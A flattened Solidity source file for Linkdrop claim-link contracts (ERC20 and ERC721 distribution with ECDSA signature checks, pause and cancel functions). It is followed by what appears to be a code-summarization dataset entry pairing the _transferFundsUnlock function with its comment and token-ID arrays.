* @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/ILinkdropERC20.sol pragma solidity ^0.5.6; interface ILinkdropERC20 { function verifyLinkdropSignerSignature ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _signature ) external view returns (bool); function verifyReceiverSignature ( address _linkId, address _receiver, bytes calldata _signature ) external view returns (bool); function checkClaimParams ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address _receiver, bytes calldata _receiverSignature, uint _fee ) external view returns (bool); function claim ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _feeReceiver, uint _fee ) external returns (bool); function claimUnlock ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _lock ) external returns (bool); } // File: contracts/interfaces/ILinkdropCommon.sol pragma solidity ^0.5.6; interface ILinkdropCommon { function initialize ( address _owner, address payable _linkdropMaster, uint _version, uint _chainId ) external returns (bool); function isClaimedLink(address _linkId) external view returns (bool); function isCanceledLink(address _linkId) external view returns (bool); function paused() external view returns (bool); function cancel(address _linkId) external returns (bool); function withdraw() external returns (bool); function pause() external returns (bool); function unpause() external returns (bool); function addSigner(address _linkdropSigner) external payable returns (bool); function removeSigner(address _linkdropSigner) external returns (bool); function destroy() external; function getMasterCopyVersion() external view returns (uint); function () external payable; } // File: contracts/storage/LinkdropStorage.sol pragma solidity ^0.5.6; contract LinkdropStorage { // Address of owner deploying this contract (usually factory) address public owner; // Address corresponding to linkdrop master key address payable public linkdropMaster; // Version of mastercopy contract uint public version; // Network id uint public chainId; // Indicates whether an address corresponds to linkdrop signing key mapping (address => bool) public isLinkdropSigner; // Indicates who the link is claimed to mapping (address => address) public claimedTo; // Indicates whether the link is canceled or not mapping (address => bool) internal _canceled; // Indicates whether the initializer function has been called or not bool public initialized; // Indicates whether the contract is paused or not bool internal _paused; // Events event Canceled(address linkId); event Claimed(address indexed linkId, uint ethAmount, address indexed token, uint tokenAmount, address receiver); event ClaimedUnlock(address indexed linkId, uint ethAmount, address indexed token, uint tokenAmount, address receiver, address indexed lock); event ClaimedERC721(address indexed linkId, uint ethAmount, address indexed nft, uint tokenId, address receiver); event Paused(); event Unpaused(); event AddedSigningKey(address linkdropSigner); event RemovedSigningKey(address linkdropSigner); } // File: openzeppelin-solidity/contracts/cryptography/ECDSA.sol pragma solidity ^0.5.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * (.note) This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * (.warning) `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise) * be too long), and then calling `toEthSignedMessageHash` on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * [`eth_sign`](https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign) * JSON-RPC method. * * See `recover`. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: contracts/linkdrop/LinkdropCommon.sol pragma solidity ^0.5.6; contract LinkdropCommon is ILinkdropCommon, LinkdropStorage { /** * @dev Function called only once to set owner, linkdrop master, contract version and chain id * @param _owner Owner address * @param _linkdropMaster Address corresponding to master key * @param _version Contract version * @param _chainId Network id */ function initialize ( address _owner, address payable _linkdropMaster, uint _version, uint _chainId ) public returns (bool) { require(!initialized, "LINKDROP_PROXY_CONTRACT_ALREADY_INITIALIZED"); owner = _owner; linkdropMaster = _linkdropMaster; isLinkdropSigner[linkdropMaster] = true; version = _version; chainId = _chainId; initialized = true; return true; } modifier onlyLinkdropMaster() { require(msg.sender == linkdropMaster, "ONLY_LINKDROP_MASTER"); _; } modifier onlyLinkdropMasterOrFactory() { require (msg.sender == linkdropMaster || msg.sender == owner, "ONLY_LINKDROP_MASTER_OR_FACTORY"); _; } modifier onlyFactory() { require(msg.sender == owner, "ONLY_FACTORY"); _; } modifier whenNotPaused() { require(!paused(), "LINKDROP_PROXY_CONTRACT_PAUSED"); _; } /** * @dev Indicates whether a link is claimed or not * @param _linkId Address corresponding to link key * @return True if claimed */ function isClaimedLink(address _linkId) public view returns (bool) { return claimedTo[_linkId] != address(0); } /** * @dev Indicates whether a link is canceled or not * @param _linkId Address corresponding to link key * @return True if canceled */ function isCanceledLink(address _linkId) public view returns (bool) { return _canceled[_linkId]; } /** * @dev Indicates whether a contract is paused or not * @return True if paused */ function paused() public view returns (bool) { return _paused; } /** * @dev Function to cancel a link, can only be called by linkdrop master * @param _linkId Address corresponding to link key * @return True if success */ function cancel(address _linkId) external onlyLinkdropMaster returns (bool) { require(!isClaimedLink(_linkId), "LINK_CLAIMED"); _canceled[_linkId] = true; emit Canceled(_linkId); return true; } /** * @dev Function to withdraw eth to linkdrop master, can only be called by linkdrop master * @return True if success */ function withdraw() external onlyLinkdropMaster returns (bool) { linkdropMaster.transfer(address(this).balance); return true; } /** * @dev Function to pause contract, can only be called by linkdrop master * @return True if success */ function pause() external onlyLinkdropMaster whenNotPaused returns (bool) { _paused = true; emit Paused(); return true; } /** * @dev Function to unpause contract, can only be called by linkdrop master * @return True if success */ function unpause() external onlyLinkdropMaster returns (bool) { require(paused(), "LINKDROP_CONTRACT_ALREADY_UNPAUSED"); _paused = false; emit Unpaused(); return true; } /** * @dev Function to add new signing key, can only be called by linkdrop master or owner (factory contract) * @param _linkdropSigner Address corresponding to signing key * @return True if success */ function addSigner(address _linkdropSigner) external payable onlyLinkdropMasterOrFactory returns (bool) { require(_linkdropSigner != address(0), "INVALID_LINKDROP_SIGNER_ADDRESS"); isLinkdropSigner[_linkdropSigner] = true; return true; } /** * @dev Function to remove signing key, can only be called by linkdrop master * @param _linkdropSigner Address corresponding to signing key * @return True if success */ function removeSigner(address _linkdropSigner) external onlyLinkdropMaster returns (bool) { require(_linkdropSigner != address(0), "INVALID_LINKDROP_SIGNER_ADDRESS"); isLinkdropSigner[_linkdropSigner] = false; return true; } /** * @dev Function to destroy this contract, can only be called by owner (factory) or linkdrop master * Withdraws all the remaining ETH to linkdrop master */ function destroy() external onlyLinkdropMasterOrFactory { selfdestruct(linkdropMaster); } /** * @dev Function for other contracts to be able to fetch the mastercopy version * @return Master copy version */ function getMasterCopyVersion() external view returns (uint) { return version; } /** * @dev Fallback function to accept ETH */ function () external payable {} } // File: contracts/interfaces/IPublicLock.sol pragma solidity ^0.5.6; interface IPublicLock { function purchaseFor(address _recipient) external payable; } // File: contracts/interfaces/ILinkdropFactory.sol pragma solidity ^0.5.6; interface ILinkdropFactory { function getFee(address _proxy) external view returns (uint); } // File: contracts/linkdrop/LinkdropERC20.sol pragma solidity ^0.5.6; contract LinkdropERC20 is ILinkdropERC20, LinkdropCommon { using SafeMath for uint; /** * @dev Function to verify linkdrop signer's signature * @param _weiAmount Amount of wei to be claimed * @param _tokenAddress Token address * @param _tokenAmount Amount of tokens to be claimed (in atomic value) * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _signature ECDSA signature of linkdrop signer * @return True if signed with linkdrop signer's private key */ function verifyLinkdropSignerSignature ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes memory _signature ) public view returns (bool) { bytes32 prefixedHash = ECDSA.toEthSignedMessageHash ( keccak256 ( abi.encodePacked ( _weiAmount, _tokenAddress, _tokenAmount, _expiration, version, chainId, _linkId, address(this) ) ) ); address signer = ECDSA.recover(prefixedHash, _signature); return isLinkdropSigner[signer]; } /** * @dev Function to verify linkdrop receiver's signature * @param _linkId Address corresponding to link key * @param _receiver Address of linkdrop receiver * @param _signature ECDSA signature of linkdrop receiver * @return True if signed with link key */ function verifyReceiverSignature ( address _linkId, address _receiver, bytes memory _signature ) public view returns (bool) { bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_receiver))); address signer = ECDSA.recover(prefixedHash, _signature); return signer == _linkId; } /** * @dev Function to verify claim params and make sure the link is not claimed or canceled * @param _weiAmount Amount of wei to be claimed * @param _tokenAddress Token address * @param _tokenAmount Amount of tokens to be claimed (in atomic value) * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _linkdropSignerSignature ECDSA signature of linkdrop signer * @param _receiver Address of linkdrop receiver * @param _receiverSignature ECDSA signature of linkdrop receiver, * @param _fee Amount of fee to send to fee receiver * @return True if success */ function checkClaimParams ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes memory _linkdropSignerSignature, address _receiver, bytes memory _receiverSignature, uint _fee ) public view whenNotPaused returns (bool) { // If tokens are being claimed if (_tokenAmount > 0) { require(_tokenAddress != address(0), "INVALID_TOKEN_ADDRESS"); } // Make sure link is not claimed require(isClaimedLink(_linkId) == false, "LINK_CLAIMED"); // Make sure link is not canceled require(isCanceledLink(_linkId) == false, "LINK_CANCELED"); // Make sure link is not expired require(_expiration >= now, "LINK_EXPIRED"); // Make sure eth amount is available for this contract require(address(this).balance >= _weiAmount.add(_fee), "INSUFFICIENT_ETHERS"); // Make sure tokens are available for this contract if (_tokenAddress != address(0)) { require ( IERC20(_tokenAddress).balanceOf(linkdropMaster) >= _tokenAmount, "INSUFFICIENT_TOKENS" ); require ( IERC20(_tokenAddress).allowance(linkdropMaster, address(this)) >= _tokenAmount, "INSUFFICIENT_ALLOWANCE" ); } // Verify that link key is legit and signed by linkdrop signer require ( verifyLinkdropSignerSignature ( _weiAmount, _tokenAddress, _tokenAmount, _expiration, _linkId, _linkdropSignerSignature ), "INVALID_LINKDROP_SIGNER_SIGNATURE" ); // Verify that receiver address is signed by ephemeral key assigned to claim link (link key) require ( verifyReceiverSignature(_linkId, _receiver, _receiverSignature), "INVALID_RECEIVER_SIGNATURE" ); return true; } /** * @dev Function to claim ETH and/or ERC20 tokens. Can only be called when contract is not paused * @param _weiAmount Amount of wei to be claimed * @param _tokenAddress Token address * @param _tokenAmount Amount of tokens to be claimed (in atomic value) * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _linkdropSignerSignature ECDSA signature of linkdrop signer * @param _receiver Address of linkdrop receiver * @param _receiverSignature ECDSA signature of linkdrop receiver * @param _feeReceiver Address to transfer fees to * @param _fee Amount of fee to send to fee receiver * @return True if success */ function claim ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _feeReceiver, uint _fee ) external onlyFactory whenNotPaused returns (bool) { // Make sure params are valid require ( checkClaimParams ( _weiAmount, _tokenAddress, _tokenAmount, _expiration, _linkId, _linkdropSignerSignature, _receiver, _receiverSignature, _fee ), "INVALID_CLAIM_PARAMS" ); // Mark link as claimed claimedTo[_linkId] = _receiver; // Make sure transfer succeeds require(_transferFunds(_weiAmount, _tokenAddress, _tokenAmount, _receiver, _feeReceiver, _fee), "TRANSFER_FAILED"); // Emit claim event emit Claimed(_linkId, _weiAmount, _tokenAddress, _tokenAmount, _receiver); return true; } /** * @dev Internal function to transfer ethers and/or ERC20 tokens * @param _weiAmount Amount of wei to be claimed * @param _tokenAddress Token address * @param _tokenAmount Amount of tokens to be claimed (in atomic value) * @param _receiver Address to transfer funds to * @param _feeReceiver Address to transfer fees to * @param _fee Amount of fee to send to fee receiver * @return True if success */ function _transferFunds ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, address payable _receiver, address payable _feeReceiver, uint _fee ) internal returns (bool) { // Transfer fees if (_fee > 0) { _feeReceiver.transfer(_fee); } // Transfer ethers if (_weiAmount > 0) { _receiver.transfer(_weiAmount); } // Transfer tokens if (_tokenAmount > 0) { IERC20(_tokenAddress).transferFrom(linkdropMaster, _receiver, _tokenAmount); } return true; } // ====================================================================================================== // UNLOCK // ====================================================================================================== function claimUnlock ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _lock ) external onlyFactory whenNotPaused returns (bool) { // Make sure params are valid require ( checkClaimParams ( _weiAmount, _tokenAddress, _tokenAmount, _expiration, _linkId, _linkdropSignerSignature, _receiver, _receiverSignature, ILinkdropFactory(owner).getFee(address(this)) // fee ), "INVALID_CLAIM_PARAMS" ); // Mark link as claimed claimedTo[_linkId] = _receiver; // Make sure transfer succeeds require ( _transferFundsUnlock(_weiAmount, _tokenAddress, _tokenAmount, _receiver, _lock), "TRANSFER_FAILED" ); // Emit claim event emit ClaimedUnlock(_linkId, _weiAmount, _tokenAddress, _tokenAmount, _receiver, _lock); return true; } function _transferFundsUnlock ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, address payable _receiver, address payable _lock ) internal returns (bool) { // Transfers fee to relayer who called this contract through factory tx.origin.transfer(ILinkdropFactory(owner).getFee(address(this))); // Transfer ethers if (_weiAmount > 0) { IPublicLock(_lock).purchaseFor.value(_weiAmount)(_receiver); } // Transfer tokens if (_tokenAmount > 0) { IERC20(_tokenAddress).transferFrom(linkdropMaster, _receiver, _tokenAmount); } return true; } } // File: contracts/interfaces/ILinkdropERC721.sol pragma solidity ^0.5.6; interface ILinkdropERC721 { function verifyLinkdropSignerSignatureERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes calldata _signature ) external view returns (bool); function verifyReceiverSignatureERC721 ( address _linkId, address _receiver, bytes calldata _signature ) external view returns (bool); function checkClaimParamsERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address _receiver, bytes calldata _receiverSignature, uint _fee ) external view returns (bool); function claimERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _feeReceiver, uint _fee ) external returns (bool); } // File: openzeppelin-solidity/contracts/introspection/IERC165.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC165 standard, as defined in the * [EIP](https://eips.ethereum.org/EIPS/eip-165). * * Implementers can declare support of contract interfaces, which can then be * queried by others (`ERC165Checker`). * * For an implementation, see `ERC165`. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: openzeppelin-solidity/contracts/token/ERC721/IERC721.sol pragma solidity ^0.5.0; /** * @dev Required interface of an ERC721 compliant contract. */ contract IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of NFTs in `owner`'s account. */ function balanceOf(address owner) public view returns (uint256 balance); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) public view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either `approve` or `setApproveForAll`. */ function safeTransferFrom(address from, address to, uint256 tokenId) public; /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * Requirements: * - If the caller is not `from`, it must be approved to move this NFT by * either `approve` or `setApproveForAll`. */ function transferFrom(address from, address to, uint256 tokenId) public; function approve(address to, uint256 tokenId) public; function getApproved(uint256 tokenId) public view returns (address operator); function setApprovalForAll(address operator, bool _approved) public; function isApprovedForAll(address owner, address operator) public view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public; } // File: contracts/linkdrop/LinkdropERC721.sol pragma solidity ^0.5.6; contract LinkdropERC721 is ILinkdropERC721, LinkdropCommon { using SafeMath for uint; /** * @dev Function to verify linkdrop signer's signature * @param _weiAmount Amount of wei to be claimed * @param _nftAddress NFT address * @param _tokenId Token id to be claimed * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _signature ECDSA signature of linkdrop signer * @return True if signed with linkdrop signer's private key */ function verifyLinkdropSignerSignatureERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes memory _signature ) public view returns (bool) { bytes32 prefixedHash = ECDSA.toEthSignedMessageHash ( keccak256 ( abi.encodePacked ( _weiAmount, _nftAddress, _tokenId, _expiration, version, chainId, _linkId, address(this) ) ) ); address signer = ECDSA.recover(prefixedHash, _signature); return isLinkdropSigner[signer]; } /** * @dev Function to verify linkdrop receiver's signature * @param _linkId Address corresponding to link key * @param _receiver Address of linkdrop receiver * @param _signature ECDSA signature of linkdrop receiver * @return True if signed with link key */ function verifyReceiverSignatureERC721 ( address _linkId, address _receiver, bytes memory _signature ) public view returns (bool) { bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_receiver))); address signer = ECDSA.recover(prefixedHash, _signature); return signer == _linkId; } /** * @dev Function to verify claim params and make sure the link is not claimed or canceled * @param _weiAmount Amount of wei to be claimed * @param _nftAddress NFT address * @param _tokenId Token id to be claimed * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _linkdropSignerSignature ECDSA signature of linkdrop signer * @param _receiver Address of linkdrop receiver * @param _receiverSignature ECDSA signature of linkdrop receiver * @param _fee Amount of fee to send to fee receiver * @return True if success */ function checkClaimParamsERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes memory _linkdropSignerSignature, address _receiver, bytes memory _receiverSignature, uint _fee ) public view whenNotPaused returns (bool) { // Make sure nft address is not equal to address(0) require(_nftAddress != address(0), "INVALID_NFT_ADDRESS"); // Make sure link is not claimed require(isClaimedLink(_linkId) == false, "LINK_CLAIMED"); // Make sure link is not canceled require(isCanceledLink(_linkId) == false, "LINK_CANCELED"); // Make sure link is not expired require(_expiration >= now, "LINK_EXPIRED"); // Make sure eth amount is available for this contract require(address(this).balance >= _weiAmount.add(_fee), "INSUFFICIENT_ETHERS"); // Make sure linkdrop master is owner of token require(IERC721(_nftAddress).ownerOf(_tokenId) == linkdropMaster, "LINKDROP_MASTER_DOES_NOT_OWN_TOKEN_ID"); // Make sure nft is available for this contract require(IERC721(_nftAddress).isApprovedForAll(linkdropMaster, address(this)), "INSUFFICIENT_ALLOWANCE"); // Verify that link key is legit and signed by linkdrop signer's private key require ( verifyLinkdropSignerSignatureERC721 ( _weiAmount, _nftAddress, _tokenId, _expiration, _linkId, _linkdropSignerSignature ), "INVALID_LINKDROP_SIGNER_SIGNATURE" ); // Verify that receiver address is signed by ephemeral key assigned to claim link (link key) require ( verifyReceiverSignatureERC721(_linkId, _receiver, _receiverSignature), "INVALID_RECEIVER_SIGNATURE" ); return true; } /** * @dev Function to claim ETH and/or ERC721 token. Can only be called when contract is not paused * @param _weiAmount Amount of wei to be claimed * @param _nftAddress NFT address * @param _tokenId Token id to be claimed * @param _expiration Unix timestamp of link expiration time * @param _linkId Address corresponding to link key * @param _linkdropSignerSignature ECDSA signature of linkdrop signer * @param _receiver Address of linkdrop receiver * @param _receiverSignature ECDSA signature of linkdrop receiver * @param _feeReceiver Address to transfer fees to * @param _fee Amount of fee to send to _feeReceiver * @return True if success */ function claimERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, uint _expiration, address _linkId, bytes calldata _linkdropSignerSignature, address payable _receiver, bytes calldata _receiverSignature, address payable _feeReceiver, uint _fee ) external onlyFactory whenNotPaused returns (bool) { // Make sure params are valid require ( checkClaimParamsERC721 ( _weiAmount, _nftAddress, _tokenId, _expiration, _linkId, _linkdropSignerSignature, _receiver, _receiverSignature, _fee ), "INVALID_CLAIM_PARAMS" ); // Mark link as claimed claimedTo[_linkId] = _receiver; // Make sure transfer succeeds require(_transferFundsERC721(_weiAmount, _nftAddress, _tokenId, _receiver, _feeReceiver, _fee), "TRANSFER_FAILED"); // Log claim emit ClaimedERC721(_linkId, _weiAmount, _nftAddress, _tokenId, _receiver); return true; } /** * @dev Internal function to transfer ethers and/or ERC721 tokens * @param _weiAmount Amount of wei to be claimed * @param _nftAddress NFT address * @param _tokenId Amount of tokens to be claimed (in atomic value) * @param _receiver Address to transfer funds to * @param _feeReceiver Address to transfer fees to * @param _fee Amount of fee to send to _feeReceiver * @return True if success */ function _transferFundsERC721 ( uint _weiAmount, address _nftAddress, uint _tokenId, address payable _receiver, address payable _feeReceiver, uint _fee ) internal returns (bool) { // Transfer fees _feeReceiver.transfer(_fee); // Transfer ethers if (_weiAmount > 0) { _receiver.transfer(_weiAmount); } // Transfer NFT IERC721(_nftAddress).safeTransferFrom(linkdropMaster, _receiver, _tokenId); return true; } } // File: contracts/linkdrop/LinkdropMastercopy.sol pragma solidity ^0.5.6; contract LinkdropMastercopy is LinkdropERC20, LinkdropERC721 { }
Transfers fee to relayer who called this contract through factory Transfer ethers Transfer tokens
function _transferFundsUnlock ( uint _weiAmount, address _tokenAddress, uint _tokenAmount, address payable _receiver, address payable _lock ) internal returns (bool) { tx.origin.transfer(ILinkdropFactory(owner).getFee(address(this))); if (_weiAmount > 0) { IPublicLock(_lock).purchaseFor.value(_weiAmount)(_receiver); } if (_tokenAmount > 0) { IERC20(_tokenAddress).transferFrom(linkdropMaster, _receiver, _tokenAmount); } return true; }
5,506,124
[ 1, 1429, 18881, 14036, 358, 1279, 1773, 10354, 2566, 333, 6835, 3059, 3272, 12279, 13750, 414, 12279, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 42, 19156, 7087, 203, 565, 261, 203, 3639, 2254, 389, 1814, 77, 6275, 16, 203, 3639, 1758, 389, 2316, 1887, 16, 203, 3639, 2254, 389, 2316, 6275, 16, 203, 3639, 1758, 8843, 429, 389, 24454, 16, 203, 3639, 1758, 8843, 429, 389, 739, 203, 565, 262, 203, 565, 2713, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 2229, 18, 10012, 18, 13866, 12, 45, 2098, 7285, 1733, 12, 8443, 2934, 588, 14667, 12, 2867, 12, 2211, 3719, 1769, 203, 203, 3639, 309, 261, 67, 1814, 77, 6275, 405, 374, 13, 288, 203, 5411, 2971, 447, 2531, 24899, 739, 2934, 12688, 12104, 1290, 18, 1132, 24899, 1814, 77, 6275, 21433, 67, 24454, 1769, 203, 3639, 289, 203, 203, 3639, 309, 261, 67, 2316, 6275, 405, 374, 13, 288, 203, 5411, 467, 654, 39, 3462, 24899, 2316, 1887, 2934, 13866, 1265, 12, 1232, 7285, 7786, 16, 389, 24454, 16, 389, 2316, 6275, 1769, 203, 3639, 289, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 